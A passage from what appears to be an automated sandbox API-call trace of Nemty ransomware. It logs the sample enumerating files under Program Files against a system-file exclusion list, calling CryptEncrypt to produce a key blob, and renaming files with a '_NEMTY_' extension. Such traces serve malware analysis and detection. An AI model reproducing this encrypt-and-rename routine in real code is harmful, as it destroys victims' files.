lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0051.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0051.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94360 [0051.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x6340338 [0051.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94360 | out: hHeap=0x4f90000) returned 1 [0051.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.844] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui"), lpNewFileName="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui._nemty_kgobjgd_")) returned 0 [0051.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0051.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0051.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0051.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0051.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c0 | out: hHeap=0x4f90000) returned 1 [0051.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0051.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0051.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2=".") returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="..") returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="...") returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="windows") returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="rsa") returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="NTDETECT.COM") returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="ntldr") returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="MSDOS.SYS") returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="IO.SYS") returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="boot.ini") returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="boot.ini") returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="ntuser.dat") returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="desktop.ini") returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="CONFIG.SYS") returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="RECYCLER") returned 1 [0051.844] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0051.845] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="bootmgr") returned 1 [0051.845] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="programdata") returned 1 [0051.845] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="appdata") returned 1 [0051.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0051.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMM2CLIP.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0051.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0051.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0051.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMM2CLIP.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0051.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0051.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0051.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMM2CLIP.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0051.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0051.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMM2CLIP.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0051.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0051.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0051.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0051.845] Sleep (dwMilliseconds=0x5) [0051.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd28d9f30, dwHighDateTime=0x1d561e7)) [0051.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd28d9f30, dwHighDateTime=0x1d561e7)) [0051.852] GetLastError () returned 0x5 [0051.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0051.852] GetLastError () returned 0x5 [0051.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0051.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.852] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0051.852] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0051.853] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0051.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94178 [0051.853] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94178, pcchString=0x653ef9c | out: pszString="i7/kvLJNrmYpSN0EMynTUr97e35TYRMAIp9Lql3bYQca/H+Uscc4wl8u+BTD6cnn\r\niKtqPKqLtEaldblCi1685kba1a4vwiwU7RDi/xpWtBi/dFzQqVJCgP4SvdaU4xGV\r\nM+sUr1OS8ZMbskhGJUPXc3Dc/gSEIHwjPZnd3v1cYnWdObLfHpamX7nAxB+074e8\r\noIxP5djE0y+YuBKWxwcVRaj3xGcILoCw0YF5ieCKjaxyXoY9hObTTW5hA+IDC5M3\r\noTXMw9ni4OH20RmuhWgEbljS1vWdL6fyIs7GCFA4SUP1PJKsc6IPPC0kVMMwUVj9\r\nFgvXbjpr6yXuJmeF1kqTOQ==\r\n", pcchString=0x653ef9c) returned 1 [0051.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0051.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0051.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0051.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94178 [0051.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401c0 [0051.853] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0051.862] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0051.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0051.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.862] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.872] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.872] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.881] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.881] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.890] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.890] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.900] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.900] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.909] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.909] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.918] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.918] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.927] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.927] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.927] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.928] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.937] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.937] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.946] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.946] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.956] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.956] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.956] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.962] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.962] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.968] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.968] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94178, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0051.968] CloseHandle (hObject=0xffffffff) returned 0 [0051.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942e8 [0051.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0051.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94360 [0051.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x6340338 [0051.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94360 | out: hHeap=0x4f90000) returned 1 [0051.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0051.968] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), lpNewFileName="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui._nemty_kgobjgd_")) returned 0 [0051.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0051.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0051.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0051.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0051.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c0 | out: hHeap=0x4f90000) returned 1 [0051.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0051.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 